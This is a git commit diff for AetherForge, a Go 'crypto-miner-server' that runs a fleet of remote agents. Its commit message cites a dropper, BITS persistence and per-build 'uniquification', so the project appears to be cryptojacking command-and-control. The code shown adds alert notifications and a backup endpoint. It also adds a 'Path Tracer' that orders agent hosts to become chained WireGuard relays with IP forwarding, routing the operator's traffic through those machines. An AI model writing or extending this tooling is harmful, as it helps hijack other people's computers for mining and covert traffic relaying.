feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
type Evaluator struct {
db *db.Database
thresholds func() Thresholds
notify func() NotifyConfig
settings func() Settings
broadcast Broadcaster
mu sync.Mutex
baseline map[string]float64
@@ -40,11 +40,11 @@ type Evaluator struct {
cooldown time.Duration
}
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator {
return &Evaluator{
db: database,
thresholds: thresholds,
notify: notify,
settings: settings,
broadcast: broadcast,
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),
@@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
e.mu.Unlock()
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
s := e.settings()
if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
}
if e.broadcast != nil {
e.broadcast(ev)
}
}
// GetNotifyConfig returns delivery credentials for channel probes.
func (e *Evaluator) GetNotifyConfig() NotifyConfig {
return e.settings().NotifyConfig
}
// GetSettings returns full notification settings.
func (e *Evaluator) GetSettings() Settings {
return e.settings()
}
func (e *Evaluator) ActiveAlerts() []AlertEvent {
e.mu.Lock()
defer e.mu.Unlock()

View File

@@ -17,7 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
var fired []AlertEvent
e := &Evaluator{
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
notify: func() NotifyConfig { return NotifyConfig{} },
settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) },
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),

View File

@@ -0,0 +1,54 @@
package alerts
import "log"
// Notifier sends Telegram/email when Calibrate toggles allow it.
type Notifier struct {
settings func() Settings
}
func NewNotifier(settings func() Settings) *Notifier {
return &Notifier{settings: settings}
}
func (n *Notifier) Emit(event string, title, body string) {
if n == nil || n.settings == nil {
return
}
s := n.settings()
if !n.eventEnabled(s, event) {
return
}
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
return
}
log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body)
}
func (n *Notifier) eventEnabled(s Settings, event string) bool {
switch event {
case EventAgentConnect:
return s.Events.AgentConnect
case EventAgentReconnect:
return s.Events.AgentReconnect
case EventBuildComplete:
return s.Events.BuildComplete
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
// GetSettings exposes current settings (alert test handler).
func (n *Notifier) GetSettings() Settings {
if n == nil || n.settings == nil {
return Settings{}
}
return n.settings()
}

View File

@@ -0,0 +1,25 @@
package alerts
import "testing"
func TestNotifierRespectsToggles(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(
NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"},
EventToggles{AgentConnect: false, AgentReconnect: true},
)
})
// disabled — no panic
n.Emit(EventAgentConnect, "title", "body")
n.Emit(EventAgentReconnect, "title", "body")
}
func TestSettingsEnabledForAlertType(t *testing.T) {
s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true})
if s.EnabledForAlertType("offline") {
t.Fatal("expected offline disabled")
}
if !s.EnabledForAlertType("hashrate_drop") {
t.Fatal("expected hashrate enabled")
}
}

View File

@@ -4,6 +4,7 @@ import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"net/smtp"
"strings"
@@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return nil
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
body, _ := json.Marshal(map[string]string{
payload, _ := json.Marshal(map[string]string{
"chat_id": cfg.TelegramChatID,
"text": text,
})
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload))
if err != nil {
return err
}
@@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if resp.StatusCode >= 300 {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
msg := strings.TrimSpace(string(body))
if msg == "" {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
}
var apiErr struct {
Description string `json:"description"`
}
if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" {
return fmt.Errorf("telegram: %s", apiErr.Description)
}
return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg)
}
return nil
}

View File

@@ -0,0 +1,41 @@
package alerts
// Event toggles — all default true in server DefaultConfig.
type EventToggles struct {
AgentConnect bool
AgentReconnect bool
AgentOffline bool
HashrateDrop bool
RejectionRate bool
BuildComplete bool
}
// Settings combines delivery credentials with per-event toggles.
type Settings struct {
NotifyConfig
Events EventToggles
}
func NewSettings(nc NotifyConfig, ev EventToggles) Settings {
return Settings{NotifyConfig: nc, Events: ev}
}
// EnabledForAlertType maps evaluator alert types to toggles.
func (s Settings) EnabledForAlertType(alertType string) bool {
switch alertType {
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
const (
EventAgentConnect = "agent_connect"
EventAgentReconnect = "agent_reconnect"
EventBuildComplete = "build_complete"
)

View File

@@ -0,0 +1,74 @@
package api
import (
"archive/zip"
"bytes"
"fmt"
"net/http"
"os"
"path/filepath"
"time"
)
// BackupHandler serves GET /api/v1/backup.
// It returns a zip containing config.json, users.json, miner.db, and a
// backup-info.txt with the timestamp and server version. The caller must
// already be authenticated via basicAuthMiddleware (registered in router.go).
type BackupHandler struct {
dataDir string
serverVersion string
}
// NewBackupHandler creates a BackupHandler for the given data directory.
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
}
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
now := time.Now().UTC()
dateTag := now.Format("2006-01-02")
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
// backup-info.txt
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
now.Format(time.RFC3339), h.serverVersion)
if fw, err := zw.Create("backup-info.txt"); err == nil {
_, _ = fw.Write([]byte(info))
}
// Helper: add a file from disk into the zip, skip gracefully if missing.
addFile := func(name, diskPath string) {
data, err := os.ReadFile(diskPath)
if err != nil {
return
}
fw, err := zw.Create(name)
if err != nil {
return
}
_, _ = fw.Write(data)
}
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
if err := zw.Close(); err != nil {
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
return
}
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
w.WriteHeader(http.StatusOK)
_, _ = w.Write(buf.Bytes())
}

View File

@@ -8,6 +8,8 @@ import (
"log"
"net"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
@@ -35,6 +37,7 @@ type FleetHandler struct {
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
dataDir string
// XMR price cache — per-handler so multiple routers in one process stay isolated.
xmrPriceMu sync.Mutex
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
return &FleetHandler{
db: database,
ws: ws,
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
pools: pools,
alerts: evaluator,
defaultPool: defaultPool,
dataDir: dataDir,
}
}
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
writeJSON(w, f.alerts.ActiveAlerts())
}
// PostAlertTest fires a test notification on every configured channel and
// returns per-channel results without raising a real fleet alert.
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
const testMsg = "AetherForge test notification — alerts are configured correctly"
type channelResult struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
result := map[string]channelResult{}
if f.alerts == nil {
errStr := "alert evaluator not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
result["smtp"] = channelResult{Sent: false, Error: &errStr}
writeJSON(w, result)
return
}
cfg := f.alerts.GetNotifyConfig()
// Telegram
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
errStr := "not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
errStr := err.Error()
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else {
result["telegram"] = channelResult{Sent: true}
}
// SMTP
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
errStr := "not configured"
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
errStr := err.Error()
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else {
result["smtp"] = channelResult{Sent: true}
}
writeJSON(w, result)
}
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
if f.pools == nil {
writeJSON(w, []pool.PoolStatus{})
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
}
if r.URL.Query().Get("download") == "1" {
// If the in-memory buffer is empty, try the persisted log file on disk.
if content == "" && f.dataDir != "" {
logPath := filepath.Join(f.dataDir, "logs", id+".log")
if data, err := os.ReadFile(logPath); err == nil {
content = string(data)
}
}
date := time.Now().UTC().Format("2006-01-02")
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
fmt.Fprint(w, content)
return
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
"content": content,

View File

@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
t.Cleanup(func() { _ = database.Close() })
ws := NewWSHub(database)
ai := NewAIHandler(database)
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
return fh, database, ws, ai
}
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{OfflineMinutes: 5}
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
evaluator.RunOnce()
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
if rec.Code != http.StatusOK {
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
}
}
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Sent || body["smtp"].Sent {
t.Fatalf("expected no sends, got %+v", body)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
t.Fatalf("telegram: %+v", body["telegram"])
}
}
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
t.Fatalf("got %+v", body["telegram"])
}
}
func TestFleetGetPoolStatusNilManager(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
fh, _, ws, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))

View File

@@ -4,12 +4,15 @@ import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
var serverStartTime = time.Now()
type Handler struct {
db *db.Database
}
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]string{"status": "ok"})
}
// GET /api/v1/server/ready
// Requires auth (not in the basicAuthMiddleware bypass list).
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
uptime := int64(time.Since(serverStartTime).Seconds())
resp := map[string]interface{}{
"status": "ok",
"uptime_s": uptime,
}
if r.URL.Query().Get("verbose") != "1" {
writeJSON(w, resp)
return
}
// DB ping
dbStatus := "ok"
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
dbStatus = "error: " + err.Error()
resp["status"] = "degraded"
}
resp["db"] = dbStatus
// Count online agents
var onlineAgents int
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
onlineAgents = -1
}
resp["agents_online"] = onlineAgents
if resp["status"] == "degraded" {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusServiceUnavailable)
json.NewEncoder(w).Encode(resp)
return
}
writeJSON(w, resp)
}
// GET /api/v1/builds
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
builds, err := h.db.ListBuilds(50)

View File

@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -0,0 +1,455 @@
package api
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"image/color"
"image/png"
"log"
"net/http"
"strings"
"sync"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
qrcode "github.com/skip2/go-qrcode"
"golang.org/x/crypto/curve25519"
)
// ── types ─────────────────────────────────────────────────────────────────────
// HopStatus tracks one agent's progress in a trace session.
type HopStatus string
const (
HopPending HopStatus = "pending"
HopReady HopStatus = "ready"
HopFailed HopStatus = "failed"
)
// HopInfo records what we know about each hop in the chain.
type HopInfo struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
ExternalIP string `json:"external_ip"`
Port int `json:"port"`
PublicKey string `json:"public_key"`
PrivateKey string `json:"-"` // never sent to client
LocalAddr string `json:"local_addr"`
Status HopStatus `json:"status"`
Error string `json:"error,omitempty"`
}
// TraceSession holds all state for one active VPN session.
type TraceSession struct {
ID string `json:"id"`
AgentIDs []string `json:"agent_ids"`
Hops []*HopInfo `json:"hops"`
Ready bool `json:"ready"`
Error string `json:"error,omitempty"`
CreatedAt time.Time `json:"created_at"`
// Client WireGuard keypair — used to build the QR config.
clientPrivKey string
clientPubKey string
}
// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
hub *WSHub
mu sync.Mutex
sessions map[string]*TraceSession
}
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{
hub: hub,
sessions: make(map[string]*TraceSession),
}
}
// ── HTTP handlers ─────────────────────────────────────────────────────────────
// POST /api/v1/pathtrace/start
// Body: {"agent_ids": ["id1","id2",...]}
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
var req struct {
AgentIDs []string `json:"agent_ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
http.Error(w, "agent_ids required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) > 3 {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
http.Error(w, "keygen failed", http.StatusInternalServerError)
return
}
sess := &TraceSession{
ID: uuid.New().String(),
AgentIDs: req.AgentIDs,
CreatedAt: time.Now(),
clientPrivKey: clientPriv,
clientPubKey: clientPub,
}
// Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
AgentName: fmt.Sprintf("hop-%d", i+1),
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
})
}
h.mu.Lock()
h.sessions[sess.ID] = sess
h.mu.Unlock()
// Orchestrate asynchronously so the HTTP response returns quickly.
go h.orchestrate(sess)
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/status
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
defer h.mu.Unlock()
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"ready": sess.Ready,
"error": sess.Error,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/qr
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
ready := sess.Ready
h.mu.Unlock()
if !ready {
http.Error(w, "session not ready yet", http.StatusAccepted)
return
}
cfg := h.buildClientConfig(sess)
// Return format: ?format=png → PNG image, default → JSON with text+png.
if r.URL.Query().Get("format") == "png" {
qr, err := qrcode.New(cfg, qrcode.High)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
qr.BackgroundColor = color.Black
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
img := qr.Image(400)
w.Header().Set("Content-Type", "image/png")
_ = png.Encode(w, img)
return
}
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"config": cfg,
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
})
}
// DELETE /api/v1/pathtrace/{id}
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
sess := h.getSession(id)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
// Tell all agents to tear down.
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.mu.Lock()
delete(h.sessions, id)
h.mu.Unlock()
writeJSON(w, map[string]interface{}{"ok": true})
}
// ── orchestration ─────────────────────────────────────────────────────────────
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
type setupResp struct {
hop *HopInfo
pub string
ip string
port int
err string
}
results := make(chan setupResp, len(sess.Hops))
for _, hop := range sess.Hops {
hop := hop
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
})
if err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_setup")
results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() {
select {
case payload := <-ch:
msgStr, _ := payload["message"].(string)
// message is JSON-encoded WGSetupResult
var res struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
Error string `json:"error"`
}
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
return
}
if res.Error != "" {
results <- setupResp{hop: hop, err: res.Error}
return
}
p := res.ExternalPort
if p == 0 {
p = 51820
}
// If UPnP failed, fall back to the IP the server saw.
ip := res.ExternalIP
if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
ip = hop.ExternalIP // pre-filled below
}
}
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
case <-time.After(20 * time.Second):
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
}
}()
}
// Collect Phase 1 results.
for range sess.Hops {
r := <-results
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
r.hop.Port = r.port
r.hop.Status = HopReady
}
h.mu.Unlock()
}
// If any hop failed at setup, abort.
h.mu.Lock()
anyFailed := false
for _, hop := range sess.Hops {
if hop.Status == HopFailed {
anyFailed = true
break
}
}
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
return
}
// Phase 2: send wg_configure to each hop.
// Build per-hop configs:
// - Last hop: peer = none (it's the exit), just IP forwarding
// - Middle hops: peer = next hop
// - First hop: peer = next hop, or none if single-hop (client connects directly)
//
// The CLIENT config always points to the FIRST hop.
type cfgResp struct {
hop *HopInfo
err string
}
cfgResults := make(chan cfgResp, len(sess.Hops))
for i, hop := range sess.Hops {
hop := hop
i := i
payload := map[string]interface{}{
"session_id": sess.ID,
"private_key": "", // agent uses its own generated key
"local_address": hop.LocalAddr,
"listen_port": hop.Port,
"enable_ip_forwarding": true,
}
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
}
dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure",
"data": string(dataJSON),
}),
})
go func() {
select {
case p := <-ch:
success, _ := p["success"].(bool)
if !success {
msg, _ := p["message"].(string)
cfgResults <- cfgResp{hop: hop, err: msg}
return
}
cfgResults <- cfgResp{hop: hop}
case <-time.After(60 * time.Second):
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
}
}()
}
for range sess.Hops {
r := <-cfgResults
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
if sess.Error == "" {
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
}
}
h.mu.Unlock()
}
h.mu.Lock()
allReady := true
for _, hop := range sess.Hops {
if hop.Status != HopReady {
allReady = false
}
}
if allReady {
sess.Ready = true
}
h.mu.Unlock()
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock()
defer h.mu.Unlock()
var sb strings.Builder
sb.WriteString("[Interface]\n")
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
sb.WriteString("Address = 10.66.0.1/24\n")
sb.WriteString("DNS = 1.1.1.1\n\n")
// Phone always connects to the first hop.
first := sess.Hops[0]
sb.WriteString("[Peer]\n")
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
sb.WriteString("PersistentKeepalive = 25\n")
return sb.String()
}
// ── helpers ───────────────────────────────────────────────────────────────────
func (h *PathTracerHandler) getSession(id string) *TraceSession {
h.mu.Lock()
defer h.mu.Unlock()
return h.sessions[id]
}
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[id]
}
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privB64 = base64.StdEncoding.EncodeToString(priv[:])
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}

View File

@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
if len(serverVersion) > 0 && serverVersion[0] != "" {
version = serverVersion[0]
}
r := chi.NewRouter()
// Middleware (global)
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := ""
